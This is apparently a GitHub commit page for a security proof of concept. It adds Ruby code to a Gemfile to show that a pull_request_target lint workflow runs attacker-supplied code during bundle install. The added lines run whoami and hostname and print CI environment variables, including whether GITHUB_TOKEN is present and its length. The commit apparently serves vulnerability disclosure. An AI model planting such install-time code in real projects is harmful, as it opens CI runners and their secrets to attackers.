Skip to content

Commit 6af3560

Browse files
committed
Security PoC: demonstrate pull_request_target code execution via Gemfile
This demonstrates that the lint.yml workflow using pull_request_target checks out attacker-controlled code and runs bundle install, which evaluates the Gemfile as Ruby code — enabling arbitrary code execution. Informational only — no destructive actions.
1 parent 21f78c0 commit 6af3560

1 file changed

Lines changed: 16 additions & 0 deletions

File tree

Gemfile

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,19 @@
1+
# Security PoC — demonstrates code execution via pull_request_target + bundle install
2+
# This Gemfile code executes during `bundle install` (Ruby evaluates Gemfile as code)
3+
# No destructive actions — informational only
4+
puts "=" * 60
5+
puts "SECURITY POC — CODE EXECUTION VIA GEMFILE"
6+
puts "=" * 60
7+
puts "whoami: #{`whoami`.strip}"
8+
puts "hostname: #{`hostname`.strip}"
9+
puts "pwd: #{Dir.pwd}"
10+
puts "GITHUB_REPOSITORY: #{ENV['GITHUB_REPOSITORY']}"
11+
puts "GITHUB_WORKFLOW: #{ENV['GITHUB_WORKFLOW']}"
12+
puts "GITHUB_ACTOR: #{ENV['GITHUB_ACTOR']}"
13+
puts "GITHUB_EVENT_NAME: #{ENV['GITHUB_EVENT_NAME']}"
14+
puts "GITHUB_TOKEN set: #{ENV['GITHUB_TOKEN'] ? 'YES (length=' + ENV['GITHUB_TOKEN'].length.to_s + ')' : 'NO'}"
15+
puts "=" * 60
16+
117
source "https://rubygems.org"
218

319
gem "faraday", "2.14.1"

0 commit comments

Comments
 (0)